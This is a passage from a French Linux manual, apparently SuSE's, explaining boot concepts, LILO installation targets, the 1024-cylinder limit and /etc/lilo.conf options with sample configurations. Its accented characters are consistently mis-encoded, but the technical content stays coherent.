``second niveau'' du chargeur (angl. secondary stage loader). Il charge alors
les programmes du systΦme, ce qui dΘclenche soit l'apparition de l'invite
habituelle du DOS, soit le dΘmarrage de l'interface Windows 95/98.
Sous DOS, on ne peut marquer comme active qu'une seule et unique partition
primaire. Ceci a pour consΘquence que le systΦme DOS ne peut pas rΘsider
sur des unitΘs de disque contenues dans une partition Θtendue.
_____________________________________________1
Le code lui-mΩme ~ et sa fonctionnalitΘ ~ dΘpendent toutefois du systΦme d'exploitation sous
lequel le MBR a ΘtΘ crΘΘ !
2 Sans table des partitions, il n'y a pas de systΦmes de fichiers (MS-DOS : unitΘs de disque), ce
qui signifie que le disque dur n'est pratiquement pas utilisable.
3 Sauf pour la partition Θtendue qui ne sert qu'α contenir d'autres partitions
4 Cela signifie tout particuliΦrement que DOS doit absolument Ωtre installΘ sur le premier disque
dur.
118
___________________________________________________________________________________________4.2.__Concepts_d'amorτage________*
*______________________
4.2 Concepts d'amorτage
Le ``concept d'amorτage'' le plus simple est celui qui concerne une machine
ne possΘdant qu'un seul systΦme d'exploitation. Une configuration assez rΘ-
pandue consiste α avoir DOS ou Windows 95/98 comme seul et unique sys-
tΦme d'exploitation sur la machine. Nous avons dΘjα dΘcrit ce qui se passe
dans ce cas pendant la phase de dΘmarrage.
Un tel concept d'amorτage peut aussi Ωtre envisagΘ pour une machine pure-
ment Linux. Il est alors thΘoriquement possible de renoncer α l'installation de
LILO . Mais cette mΘthode ne permettrait pas de fournir au noyau, pendant
le dΘmarrage, une ligne de commande contenant des options spΘciales pour
la procΘdure de dΘmarrage, des informations complΘmentaires concernant le
matΘriel etc.
L'installation de plus d'un systΦme d'exploitation sur une machine donne le
choix entre diffΘrents concepts d'amorτage :
DΘmarrer des systΦmes additionnels α partir de la disquette : Lorsqu'un
systΦme d'exploitation est chargΘ depuis le disque, il est possible, α l'aide
de disquettes d'amorτage, de lancer d'autres systΦmes depuis le lecteur
de disquettes.
~ Condition : Vous disposez d'un lecteur de disquettes permettant
l'amorτage.
~ Exemple : Vous installez Linux additionnellement sur votre systΦme
DOS, Windows 95/98 ou OS/2 et vous lancez toujours Linux α partir
de la disquette d'amorτage.
~ Avantage : Vous vous Θpargnez l'installation plut⌠t Θpineuse du char-
geur.
~ InconvΘnients : Vous devez absolument veiller α avoir une rΘserve de
sΘcuritΘ constituΘe de disquettes d'amorτage en Θtat de fonctionne-
ment ; le dΘmarrage dure plus longtemps.
~ Le fait que votre Linux ne pourra pas Ωtre lancΘ sans disquette d'amor-
τage peut reprΘsenter soit un inconvΘnient, soit un avantage, selon
l'usage auquel votre machine est destinΘe.
Charger des systΦmes additionnels pendant le temps d'exΘcution : Un
systΦme d'exploitation est chargΘ α chaque dΘmarrage de systΦme.
D'autres peuvent Ωtre chargΘs ensuite optionnellement α partir de celui-ci.
~ Condition : Vous disposez de programmes adΘquats pour le dΘmarrage
ultΘrieur d'un autre systΦme.
~ Exemples : Chargement de Linux α partir de DOS α l'aide du pro-
gramme loadlin.exe (voir paragraphe 4.9 page 143) ou dΘmarrage
d'un serveur NetWare α partir de DOS avec server.exe .
Installation d'un gestionnaire d'amorτage : Un gestionnaire d'amorτage
(angl. bootmanager) permet de maintenir simultanΘment plusieurs sys-
tΦmes sur une machine et de les utiliser alternativement. L'utilisateur sΘ-
lectionne, dΘjα pendant la phase de dΘmarrage, le systΦme qui devra Ωtre
chargΘ. Un changement implique un nouveau dΘmarrage de la machine.
*
* 119
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
~ Condition : Le gestionnaire d'amorτage sΘlectionnΘ est ``en harmonie''
avec tous les systΦmes d'exploitation.
~ Exemples : des gestionnaires d'amorτage en harmonie avec Linux
(du moins sous certaines conditions) sont celui d'OS/2 (voir para-
graphe 4.7.3 page 136) ou le boot.sys de DOS.
Par la suite, nous vous donnerons plus de dΘtails sur l'installation et la confi-
guration de LILO qui est le gestionnaire d'amorτage standard pour les sys-
tΦmes Linux. Une description approfondie des ressources de LILO se trouve
dans [Alm96 ]5 . └ tout ceci viennent s'ajouter quelques dΘtails concernant
loadlin .
4.3 LILO se prΘsente : Vue d'ensemble
LILO ~ Votre entrΘe en scΦne !
Le chargeur de Linux peut Ωtre utilisΘ pour l'installation sur le MBR (plus de
dΘtails α la page suivante et au paragraphe 4.5 page 130). LILO a accΦs aux
deux disques connus en mode rΘel et il est capable, de par son installation,
de trouver toutes les donnΘes nΘcessaires sur les disques durs ``bruts''6 , sans
informations sur le partitionnement. C'est pourquoi il est possible d'amorcer
des systΦmes d'exploitation depuis le deuxiΦme disque dur. Contrairement α
ce qui se passe lors de la procΘdure d'amorτage de DOS, les entrΘes contenues
dans la table des partitions sont ignorΘes.
La diffΘrence essentielle avec le mΘcanisme d'amorτage de DOS rΘside tou-
tefois dans la possibilitΘ, au moment du dΘmarrage, de faire un choix entre les
diffΘrents systΦmes d'exploitation installΘs pouvant Ωtre chargΘs ~ y compris
Linux. AprΦs le chargement du MBR en mΘmoire, LILO est lancΘ. LILO peut
maintenant, de son c⌠tΘ, proposer α l'utilisateur une sΘlection α l'aide d'une
liste de systΦmes prΘinstallΘs ( page suivante).
Qu'est-ce que LILO et que peut-il faire ?
LILO est un gestionnaire d'amorτage qui offre de nombreuses ressources. Il
peut, au dΘmarrage du systΦme, charger et lancer les programmes systΦme
suivants :
~ Secteur d'amorτage des partitions (dΘmarrage d'un systΦme d'exploita-
tion α partir de ces partitions)
~ Noyau Linux (lancement de Linux)
La plupart des autres gestionnaires d'amorτage ne peuvent pas rΘaliser le
deuxiΦme point citΘ ici.
En outre, il offre l'opportunitΘ de fournir une ligne de commande au noyau
Linux. Pour des raisons de sΘcuritΘ, les fonctions de LILO peuvent Ωtre en-
tiΦrement ou partiellement protΘgΘes par un mot de passe.
_____________________________________________5
Avec lpr /usr/doc/packages/lilo/user.dvi , ce fichier peut Ωtre sorti sur l'impriman*
*te
6 On parle d'un support ``brut'' (angl. raw device) lorsqu'il est accΘdΘ α un pΘriphΘrique bloc
(disque dur, partition, disquette : : :) directement comme α un fichier (de pΘriphΘrique) particulier,
et non pas en passant par un systΦme de fichiers qui y est dΘposΘ
120
_____________________________________________________________________4.3.__LILO__se_prΘsente_:_Vue_d'ensemble_______________*
*______________________
Comment se passe l'amorτage avec LILO ?
Lorsque LILO dΘmarre, il affiche le texte LILO ainsi qu'un message d'accueil
dont vous l'avez dotΘ vous-mΩme lors de la configuration (paragraphe 4.4.2
page 127). Ensuite il apparaεt un message d'invite (angl. prompt) :
boot:
Vous sΘlectionnez ici, en entrant un nom, le systΦme d'exploitation que vous
dΘsirez et qui sera dΘmarrΘ immΘdiatement. Lors de la configuration, vous
avez dΘjα dΘterminΘ vous-mΩme les noms pour vos systΦmes d'exploitation.
Vous pouvez_fournir_ici une ligne de commande α un noyau Linux. Avec la
touche |T____a|b, vous pouvez obtenir l'affichage d'une liste de tous les noms.
En quoi consiste LILO ?
Le mΘcanisme de dΘmarrage de LILO est constituΘ par les ΘlΘments sui-
vants7 :
~ un secteur d'amorτage LILO avec une partie initiale (le ``premier ni-
veau'') du code LILO qui active le LILO proprement dit lors du dΘmar-
rage du systΦme.
~ Le code de machine LILO (son ``coeur''). Chemin standard : /boot/
boot.b.
~ Un fichier map dans lequel LILO Θcrit, lors de son installation, α quel
endroit il peut trouver le noyau Linux et les autres donnΘes qui lui sont
nΘcessaires. Chemin standard : /boot/map
~ optionnel : un fichier messages dont le contenu sera affichΘ comme mes-
sage d'accueil avant la sΘlection d'amorτage LILO . Chemin habituel :
/boot/message (ou quelque chose de similaire)
~ les diffΘrents noyaux Linux et les secteurs d'amorτage que LILO devra
proposer pour le dΘmarrage.
_______________________________________________________________________________________________________________________||
|||||||| Chaque accΦs en Θcriture (mΩme par dΘplacement de fichiers) α l'un de ||| |
|||||||| || |
|||||||| ces ΘlΘments invalide le fichier map et rend donc nΘcessaire une nouvelle || |
|||||||| installation de LILO ( page 130) ! Ceci concerne surtout le passage α un || |
|||||||| || |
|||||||| nouveau noyau Linux. || |
||||||||_______________________________________________________________________________________________________________||_
O∙ LILO peut-il Ωtre installΘ ?
En fait, cette question se rapporte le plus souvent au secteur d'amorτage de
LILO (``premier niveau''). Avant d'y rΘpondre, nous voulons d'abord attirer
votre attention sur une restriction d'ordre gΘnΘral :
____________________________________________________
7 └ noter : Les secteurs d'amorτage installΘs par LILO contiennent une sΘquence d'octets
caractΘristique pour les virus de secteurs d'amorτage. Il n'y a donc rien d'Θtonnant si un scanner
de virus DOS croit avoir trouvΘ, dans des fichiers tels que /boot/chain.b ou /boot/os2_d.b,
le ``virus de boot'' AIRCOP ;-)
*
* 121
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Tous les ΘlΘments du mΘcanisme de dΘmarrage de LILO et l'image du *
* ||||
|| noyau /boot/vmlinuz doivent Ωtre contenus, en cas d'utilisation de *
* ||||
| disques durs, dans les 1024 premiers cylindres ! Ceci peut Ωtre obtenu ß *
* ||||
| l'aide d'une petite partition supplΘmentaire montΘe sous le rΘpertoire /boot *
* |||
| *
* |||
| et situΘe intΘgralement dans les limites des 1024 premiers cylindres. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Seuls ces secteurs physiques sont dΘjα accessibles, avec les pilotes du BIOS,
pendant la phase de dΘmarrage du systΦme. De surcroεt, on est gΘnΘralement
contraint α se limiter aux deux premiers disques durs. Si vous possΘdez un
ancien BIOS, il s'ajoute α cela que la prΘsence de disques durs (E)IDE rend
impossible l'amorτage depuis des pΘriphΘriques SCSI Θgalement prΘsents.
Seul un BIOS rΘcent permet, en cas normal, l'accΦs α d'autres pΘriphΘriques :
par exemple, en association avec les contr⌠leurs de disques EIDE, jusqu'α 4
disques EIDE. Beaucoup de combinaisons trΦs modernes BIOS / adaptateur
h⌠te SCSI permettent mΩme de ``pousser en avant'' les disques SCSI pour
rendre possible l'amorτage. Pour pouvoir tirer parti de cette possibilitΘ avec
LILO , reportez-vous α la description de l'option disk .
Pour simplifier, nous pouvons rΘsumer tout ceci en quelques mots : limite des
1024 cylindres. Vous devez dΘjα en tenir compte au moment du partitionne-
ment de vos disques durs, avant la premiΦre installation de Linux. Ensuite,
il sera trop tard et vous aurez probablement beaucoup de travail en supplΘ-
ment ! Vous trouverez plus loin, au paragraphe 4.8.2 page 139, des dΘtails
sur la maniΦre de vous y prendre.
Pour le secteur d'amorτage de LILO, vous avez le choix entre les modes
d'installation suivants :
~ Sur une disquette
C'est la mΘthode la plus s√re mais aussi la plus lente pour amorcer avec
LILO (voir page 133). Qui se sent encore rebutΘ, mΩme aprΦs la lecture
de ce chapitre, par les modifications du secteur d'amorτage devrait (dans
un premier temps) opter pour la variante disquettes.
~ Sur le secteur d'amorτage d'une partition primaire Linux du premier
disque dur
Cette variante n'affecte absolument pas le MBR. Avant l'amorτage, cette
partition doit Ωtre marquΘe comme active avec fdisk . Si Linux a ΘtΘ entiΦ-
rement installΘ sur des unitΘs de disque ou sur des partitions du deuxiΦme
disque dur, il ne reste plus pour LILO que le secteur d'amorτage de la
partition Θtendue du premier disque dur, dans la mesure bien entendu o∙
celle-ci existe. Le fdisk de Linux peut aussi activer cette partition.
Cette mΘthode offre toutefois trΦs peu de commoditΘ si vous voulez amor-
cer plusieurs systΦmes d'exploitation α partir du disque dur : Vous devez
en effet, α chaque fois que vous passez d'un systΦme α l'autre, dΘsactiver
auparavant la partition de dΘmarrage du systΦme que vous voulez quitter
et activer la partition de dΘmarrage du prochain systΦme. Les deux procΘ-
dΘs que nous allons dΘcrire ci-dessous conviennent beaucoup mieux dans
un tel cas.
122
__________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration_________________*
*______________________
~ Sur le secteur maεtre d'amorτage (Master Boot Record)
Cette variante est d'une trΦs grande souplesse et constitue par ailleurs la
seule possibilitΘ d'amorcer Linux α partir du disque dur lorsque toutes
les partitions Linux se trouvent sur le deuxiΦme disque et que l'on ne
dispose d'aucune partition Θtendue sur le premier. Une modification du
MBR comporte toutefois certains risques si l'installation n'est pas rΘalisΘe
avec compΘtence. Nous parlerons au paragraphe 4.5 page 130 des mesures
de sΘcuritΘ qui s'imposent.
~ Si vous avez utilisΘ jusqu'α prΘsent un autre gestionnaire d'amor-
τage : : :
: : :et si vous voulez continuer α l'utiliser, vous avez encore d'autres
possibilitΘs en fonction de ses ressources. Citons un cas frΘquent : Vous
avez une partition primaire Linux sur le deuxiΦme disque α partir duquel
vous voulez lancer Linux. Votre autre gestionnaire serait capable d'initia-
liser cette partition par le secteur d'amorτage. Il vous est alors possible de
rendre cette partition amorτable en installant LILO sur le secteur d'amor-
τage et en faisant savoir α votre autre gestionnaire qu'elle est amorτable.
_______________________________________________________________________________________________________________________||
|||||||| Soyez toutefois prudent si vous souhaitez rendre amorτable une partition ||| |
|||||||| || |
|||||||| logique Linux en y installant LILO : Les choses se passent souvent bien, || |
|||||||| mais mΩme si votre autre gestionnaire d'amorτage Θtait capable d'initia- || |
|||||||| || |
|||||||| liser des partitions logiques, le succΦs ne serait absolument pas garanti α || |
|||||||| l'heure actuelle. || |
||||||||_______________________________________________________________________________________________________________||_
Vous pouvez bien s√r faire un essai, de prΘfΘrence avec une toute petite
installation Linux. Il est possible que vous ayez de la chance, mais il
vaut tout de mΩme mieux prΘvoir au moins une partition primaire Linux
amorτable !
4.4 Un LILO sur mesure : Configuration
LILO est un gestionnaire d'amorτage flexible offrant de nombreuses possi-
bilitΘs d'adapter sa configuration aux exigences de chacun. Les options les
plus importantes et leur signification seront prΘsentΘes par la suite. Pour une
description dΘtaillΘe, reportez-vous α [Alm96 ].
La configuration de LILO sera enregistrΘe dans le fichier /etc/lilo.conf. Lors
d'une premiΦre installation de Linux, nous vous conseillons de faire tout
d'abord effectuer cette opΘration par YaST . Il sera toujours possible, si cela
s'avΦre nΘcessaire, de modifier lilo.conf en prenant pour base le fichier
crΘΘ par YaST .
_______________________________________________________________________________________________________________________
|||||||| Le fichier /etc/lilo.conf ne devrait Ωtre lisible que par l'utilisateur ||| |
|||||||| || |
|||||||| `root' car il peut contenir des mots de passe (voir paragraphe 4.4.2 || |
|||||||| page 127). Ceci est prΘvu de faτon standard sous SuSE Linux. VΘrifiez || |
|||||||| || |
|||||||| et, en cas de doute, lancez la commande : || |
|||||||| terre: # chmod 0600 /etc/lilo.conf || |
||||||||_______________________________________________________________________________________________________________||_
Il est opportun de conserver soigneusement le fichier de configuration utilisΘ
lors de la derniΦre installation de LILO et d'en faire une copie de sauvegarde
*
* 123
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
avant toute modification. Une modification ne sera toutefois effective que si
vous rΘinstallez LILO avec la nouvelle version du fichier de configuration
(paragraphe 4.5 page 130) !
4.4.1 Structure du fichier lilo.conf
Le fichier /etc/lilo.conf commence par une section globale (angl. global
options section) avec des configurations gΘnΘrales, suivie d'une ou de plu-
sieurs sections systΦme (angl. image sections) pour les diffΘrents systΦmes
d'exploitation que LILO doit lancer. Chaque nouvelle section systΦme est
initialisΘe par une ligne comportant l'option image ou other .
L'ordre des diffΘrents systΦmes d'exploitation dans le fichier lilo.conf n'a
d'importance que dans la mesure o∙ c'est le systΦme mentionnΘ en premier
dans la liste qui sera lancΘ automatiquement si l'utilisateur ne fait aucune
entrΘe ~ le cas ΘchΘant, aprΦs un dΘlai d'attente prΘdΘfini (voir les options
delay et timeout ).
Le fichier 4.4.1 page suivante montre l'exemple d'une configuration sur une
machine fonctionnant sous Linux et sous DOS. Lors de l'amorτage, vous
devriez avoir le choix entre : un nouveau noyau et un ancien noyau Linux sur
la partition racine actuelle (partition primaire sur le deuxiΦme disque) ainsi
que MS-DOS (ou Windows 95) sur /dev/hda1.
Dans /etc/lilo.conf, tout ce qui commence par le caractΦre # est un com-
mentaire jusqu'α la fin de la ligne. Il est ignorΘ par LILO ~ tout comme un
espace ~ et peut Ωtre utilisΘ pour amΘliorer la lisibilitΘ.
Voyons maintenant, l'une aprΦs l'autre, les lignes les plus importantes. Les
autres options sont dΘcrites au paragraphe 4.4.2 page 127.
~ Section globale (paramΦtres)
~ boot=<pΘriphΘrique d'amorτage>
PΘriphΘrique dont le premier secteur est destinΘ α l'installation du sec-
teur d'amorτage de LILO (cible de l'installation).
<pΘriphΘrique d'amorτage> qui peut Ωtre : un lecteur de disquettes
(/dev/fd0), une partition (par exemple /dev/hdb3) ou la totalitΘ d'un
disque (par exemple /dev/hda) : dans ce dernier cas, l'installation doit
se faire sur le MBR.
Par dΘfaut : En l'absence de cette spΘcification, LILO sera installΘ sur
la partition racine Linux actuelle.
~ prompt
Force l'apparition du message d'+ invite de LILO . Par dΘfaut : pas
d'invite ! (voir paragraphe 4.4.2 page 127, option delay )
Ceci est recommandΘ dΦs que LILO doit lancer plus d'un systΦme. Il
conviendrait aussi d'utiliser conjointement l'option timeout afin de
rendre possible un redΘmarrage automatique si aucune entrΘe ne suit le
message d'invite.
~ timeout=<dixiΦmes de seconde>
DΘtermine une pause aprΦs le message d'invite et permet ainsi un redΘ-
marrage automatique lorsqu'aucune entrΘe n'est faite en temps voulu.
124
|||||||| |
__________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration___________________*
*____________________||||
_______________________________________________________________________________________________________________________||||
|||||||| # Fichier de configuration LILO |
|||||||||# DΘmarrage de LILO, section globale ||
|||||||| boot=/dev/hda # Cible de l'installation: MBR |
|||||||| backup=/boot/MBR.hda.970428 # Fichier de sauvegarde pour |
|||||||| |
|||||||| # l'ancien MBR du 28 avr. 1997 |
|||||||| #compact # faster, but won't work on all systems. |
|||||||| #linear |
|||||||| |
|||||||| message=/boot/message # Message d'accueil de LILO |
|||||||| prompt |
|||||||| |
|||||||| password = q99iwr4 # Mot de passe LILO |
|||||||| timeout=100 # 10 s d'attente α l'invite avant l'amorτage |
|||||||| |
|||||||| # de la configuration par dΘfaut |
|||||||| vga = normal # mode texte normal (80x25 caractΦres) |
|||||||| |
|||||||| # End LILO global section |
|||||||| |
|||||||| |
|||||||| # Linux bootable partition config begins |
|||||||| image = /boot/vmlinuz # Configuration par dΘfaut |
|||||||| root = /dev/hdb3 # Partition racine pour le noyau |
|||||||| |
|||||||| read-only |
|||||||| label = Linux |
|||||||| |
|||||||| # Linux bootable partition config ends |
|||||||| |
|||||||| |
|||||||| # Second Linux bootable partition config |
|||||||| image = /boot/vmlinuz.old |
|||||||| |
|||||||| root = /dev/hdb3 |
|||||||| read-only |
|||||||| |
|||||||| label = Linux.old |
|||||||| # 2nd Linux bootable partition config ends |
|||||||| |
|||||||| |
|||||||| # DOS bootable partition config begins |
|||||||| other = /dev/hda1 |
|||||||| |
|||||||| label = DOS |
|||||||| loader = /boot/chain.b |
|||||||| |
|||||||| table = /dev/hda |
|||||||| # DOS bootable partition config ends |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.4.1: Exemple de configuration dans /etc/lilo.conf
<dixiΦmes de seconde> est le temps qui reste,_en_dixiΦmes_de seconde,
pour faire une entrΘe. En appuyant sur |S___________|hiftα *l'invite, on obtient
une nouvelle pause. Par dΘfaut : infini, c'est-α-dire pas de redΘmarrage
automatique !
~ Section Linux
~ image=<image du noyau>
C'est ici que doit se trouver le nom de l'image du noyau qui doit Ωtre
amorcΘe. C'est en rΦgle gΘnΘrale /boot/vmlinuz ou, si vous avez un
systΦme SuSE Linux plus ancien (antΘrieur α la version 6.0), /vmlinuz
ou /zImage.
~ label=<nom>
*
* 125
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
C'est, dans /etc/lilo.conf, le nom du systΦme qui peut Ωtre choisi
librement mais ne doit toutefois prΘsenter aucune ambigu∩tΘ (par
exemple Linux ). Longueur maximale 15 caractΦres : si possible, uni-
quement des lettres, des chiffres et des soulignΘs `_', pas d'espaces ni
de caractΦres particuliers tels que par exemple des lettres accentuΘes8 .
Par dΘfaut : le nom du fichier de l'image du noyau (par exemple
/boot/vmlinuz).
En tapant ce nom α l'invite que LILO affiche au dΘmarrage, vous
sΘlectionnez le systΦme d'exploitation que vous voulez dΘmarrer. Si
vous avez plusieurs systΦmes, il est opportun de tenir α disposition une
description prΘcise des noms et des systΦmes dans un fichier messages
(voir paragraphe 4.4.2 page ci-contre, option messages ).
~ root=<pΘriphΘrique racine>
C'est ainsi que LILO spΘcifie au noyau la partition racine (par exemple
/dev/hda2) du systΦme Linux. C'est ce qui est recommandΘ par sΘcu-
ritΘ ! Si cette option est omise, le noyau prend la partition racine dont
il contient lui-mΩme l'enregistrement9 .
~ Autre systΦme
~ other=<partition>
Avec other , on fait connaεtre α LILO les partitions de dΘmarrage
d'autres systΦmes α amorcer (par exemple /dev/hda1).
~ loader=<chargeur>
Pour le chargement d'un secteur d'amorτage Θtranger, LILO construit
dans son fichier map un ``pseudo MBR'' (lors de l'amorτage, LILO
initialise d'abord le ``pseudo MBR'' qui prend alors en charge le secteur
d'amorτage Θtranger). Cette option spΘcifie le fichier duquel on doit
extraire le code pour le ``pseudo MBR''.
Par dΘfaut : /boot/chain.b, ce qui est en gΘnΘral correct .
Parfois il arrive qu'un systΦme d'exploitation qui demande α Ωtre
amorcΘ α partir du premier disque dur (par exemple DOS) doive
Ωtre dΘmarrΘ avec LILO depuis un autre disque. Les options com-
plΘmentaires map-drive=<numΘro> et to=<numΘro> permettent
d'``Θchanger'' ces deux disques au moyen de leur numΘro de pΘriphΘ-
rique BIOS. Exemple : fichier 4.4.2 page suivante.
Le chargeur os2_d.b sert α amorcer OS/2 α partir du deuxiΦme disque
dur10 . Nouveau depuis la version 20 de LILO : Avec ce chargeur Θga-
lement, l'``Θchange'' des deux premiers disques durs doit Ωtre explici-
tement prescrit (comme dans le fichier 4.4.2 page ci-contre).
~ table=<tablepart>
<tablepart> doit spΘcifier le pΘriphΘrique source pour la table des
partitions qui doit Ωtre placΘe dans le pseudo MBR (en rΦgle gΘnΘrale
/dev/hda ou /dev/sda).
_____________________________________________8
Vous trouverez les rΦgles exactes pour les caractΦres admis dans [Alm96 ], paragraphe 3.2.1.
9 Peut Ωtre visualisΘe avec la commande rdev <image de noyau>
10 any_b.b (amorτage α partir de B:) et any_d.b (amorτage α partir du deuxiΦme disque dur)
sont obsolΦtes depuis la version 20 de LILO .
126
__________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________*
*_______________________
_______________________________________________________________________________________________________________________||||
|||||||| # Booting DOS from the second hard drive |
|||||||||# DOS bootable partition config begins ||
|||||||| other = /dev/hdb1 |
|||||||| label = DOS |
|||||||| loader = /boot/chain.b |
|||||||| |
|||||||| map-drive = 0x80 # first hd: BIOS number 0x80 |
|||||||| to = 0x81 # second hd: BIOS number 0x81 |
|||||||| |
|||||||| map-drive = 0x81 |
|||||||| to = 0x80 |
|||||||| |
|||||||| table = /dev/hdb |
|||||||| # DOS bootable partition config ends |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.4.2: /etc/lilo.conf Extrait : amorcer DOS α partir du deuxiΦme
disque dur
~ label=<nom>
Le nom (qui peut Ωtre choisi librement) pour ce systΦme. Il est conseillΘ
de le faire car le label par dΘfaut - le simple nom de pΘriphΘrique de la
partition - est d'une moins grande prΘcision lors de l'amorτage.
4.4.2 Autres possibilitΘs optionnelles de configuration (sΘlection)
Au dernier paragraphe, nous avons parlΘ du minimum indispensable d'entrΘes
dans /etc/lilo.conf. D'autres paramΦtres utiles vont maintenant suivre.
Les options, expressΘment dΘsignΘes comme options image, ont leur place
dans la section d'un systΦme d'exploitation particulier. Les autres sont desti-
nΘes α la section globale de paramΦtres de /etc/lilo.conf.
~ backup=<fichier de sauvegarde>
Le fichier dans lequel LILO dΘpose une copie de sauvegarde du sec-
teur d'amorτage sur lequel il doit Ωtre installΘ. Il est prΘvu par dΘfaut
/boot/boot.xxxx. Ici, xxxx est le numΘro de pΘriphΘrique interne de
la partition d'installation11 . Nous vous recommandons d'utiliser un nom
facile α interprΘter, tel que celui citΘ plus haut en exemple (avec le nom
du pΘriphΘrique et la date). Vous renoncez ainsi α la fonctionnalitΘ Unis-
tall incluse dans LILO . Mais α notre avis, il est prΘfΘrable d'effectuer
manuellement cette opΘration en prenant toutes les prΘcautions qui s'im-
posent (voir page 131).
_______________________________________________________________________________________________________________________||
|||||||| Lorsque le fichier de sauvegarde existe dΘjα, LILO ne crΘe pas de nouvelle ||| |
|||||||| copie de sauvegarde ! Vous devez donc veiller α utiliser un nouveau nom || |
|||||||| || |
|||||||| de fichier qui n'a pas encore ΘtΘ assignΘ. || |
||||||||_______________________________________________________________________________________________________________||_
~ compact
Cette option est recommandΘe pour l'installation de LILO sur une dis-
quette. LILO tente alors, pendant le dΘmarrage, de lire simultanΘment
plusieurs secteurs et peut Θventuellement amorcer plus vite. Cela ne fonc-
tionne malheureusement pas sur toutes les machines. Lors de l'installation
11 ____________________________________________________
Ceci se trouve dans les sources du noyau dans /usr/src/linux/init/main.c, fonction
parse_root_dev().
*
* 127
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
de LILO , il serait prΘfΘrable d'y renoncer : c'est plus s√r et la diffΘrence
n'est que de quelques secondes.
~ disk=<Fichier de pΘriphΘrique>
bios=<NumΘro de pΘriphΘrique BIOS>
cylinders=<Nombre>
heads=<Nombre>
sectors=<Nombre>
On peut ici, pour certains disques durs, spΘcifier directement α LILO les
numΘros de pΘriphΘrique BIOS et la gΘomΘtrie qu'il doit utiliser pour
l'adressage des secteurs de ces disques. TrΦs rarement nΘcessaire ! Ap-
plication la plus importante :
SystΦmes mixtes IDE-SCSI : Si vous avez un BIOS qui permet l'ordre
d'amorτage SCSI avant IDE et si vous voulez tirer parti de cette possibi-
litΘ, vous devez informer LILO que l'ordre des disques durs a ΘtΘ modifiΘ
du point de vue du BIOS. Ceci se fait par l'ajout d'une entrΘe dans la par-
tie globale de lilo.conf, comme par exemple ici dans le fichier 4.4.3,
pour un systΦme possΘdant respectivement un disque IDE et un disque
SCSI.
________________________________________________________________________________________________________*
*________||
| # Enable LILO to correctly access /dev/sda and /dev/hda *
* |
| # at boot time if their boot order is interchanged in *
* |
| *
* |
| # the BIOS: *
* |
| disk = /dev/sda # The SCSI disk is regarded as ... *
* |
| *
* |
| bios = 0x80 # ... first BIOS disk; *
* |
| disk = /dev/hda # the IDE disk is regarded as ... *
* |
| bios = 0x81 # ... second BIOS disk. *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.4.3: lilo.conf Extrait : Ordre d'amorτage : SCSI avant IDE
~ linear
La spΘcification de cette option a pour rΘsultat que, lors de l'installation
de LILO , toutes les rΘfΘrences sont placΘes sur des secteurs de disque
comme adresses logiques et non pas physiques. Cette option a ΘtΘ prΘvue
pour le cas o∙, avec certains contr⌠leurs de disques, le BIOS reconnaεtrait
au dΘmarrage du systΦme une autre gΘomΘtrie que le systΦme Linux en
cours d'exΘcution. Rarement nΘcessaire !
L'option linear ne dispense pas de respecter la limite des 1024 cy-
lindres imposΘe par la gΘomΘtrie du BIOS du disque d'amorτage. Voir
aussi http://sdb.suse.de/sdb/en/html/kgw_lilo_linear.html.
~ message=<fichier messages>
Se rΘfΦre α un fichier texte qui, lors du dΘmarrage du systΦme, est le pre-
mier α Ωtre affichΘ par LILO . Il ne doit pas avoir plus de 24 lignes (sinon
il disparaεt en dΘfilant) et peut par exemple donner une vue d'ensemble de
la sΘlection d'amorτage de LILO . Vous connaissez dΘjα un tel message
qui est Θgalement affichΘ par la disquette d'amorτage fournie par SuSE .
Cette option est recommandΘe.
128
__________________________________________________________________4.4.__Un_LILO__sur_mesure_:_Configuration________________*
*_______________________
_______________________________________________________________________________________________________________________
|||||||| Si cette option est utilisΘe, le fichier messages fait alors partie du mΘca- ||| |
||||||||| nisme de dΘmarrage de LILO . Toute modification qui lui est apportΘe rend || ||
|||||||| ||| |
|||||||| indispensable une nouvelle installation de LILO (paragraphe 4.5 page sui- || |
|||||||| vante) ! || |
||||||||_______________________________________________________________________________________________________________||_
~ password=<mot de passe>
Peut tout aussi bien se trouver dans la section des paramΦtres que dans
les diffΘrentes sections systΦme. ProtΦge l'accΦs aux services de LILO
ou α l'amorτage du systΦme concernΘ au moyen d'un mot de passe. Si
vous prenez les choses au sΘrieux, vous devriez effacer le mot de passe
aprΦs la premiΦre utilisation de ce fichier lilo.conf ~ sous le compte
root, vous pouvez de toute faτon dΘterminer α tout moment un nouveau
mot de passe en procΘdant α une nouvelle installation de LILO . ~ Il est
recommandΘ d'ajouter l'option restricted . Sans cette option il est en
effet possible, avec un paramΦtre, de lancer directement un shell. Voir la
page de man de lilo.conf (man lilo.conf ) !
~ read-only
Avec cette option image, LILO demande au noyau concernΘ de monter
tout d'abord la partition racine en mode lecture seule ainsi qu'il est gΘnΘ-
ralement d'usage lors du dΘmarrage du systΦme Linux. Si cette option est
omise, le noyau utilise les enregistrements qu'il contient lui-mΩme12 .
~ delay=<dixiΦmes de seconde>
Lorsque l'invite n'est pas prescrite de faτon impΘrative, l'utilisateur peut
quand mΩme, au moment du dΘmarrage__de__LILO , demander_ une invite_
en appuyant sur les touches | ___________S|hift, *|______C|trl, | ____A|lt. L'option delay dΘ-
termine le temps durant lequel LILO attend aprΦs son dΘmarrage que
les touches soient pressΘes avant de charger automatiquement le systΦme
d'exploitation qui se trouve en tΩte de sa liste. La valeur par dΘfaut est 0 ,
ce qui signifie aucun dΘlai.
L'option delay est naturellement superflue si l'invite est expressΘment
requise avec prompt .
~ vga=<mode>
SΘlectionne le mode texte VGA lors du dΘmarrage. Les valeurs α entrer
pour <mode> sont normal (pour 80x25), ext (pour 80x50) ou ask (de-
mander lors de l'amorτage).
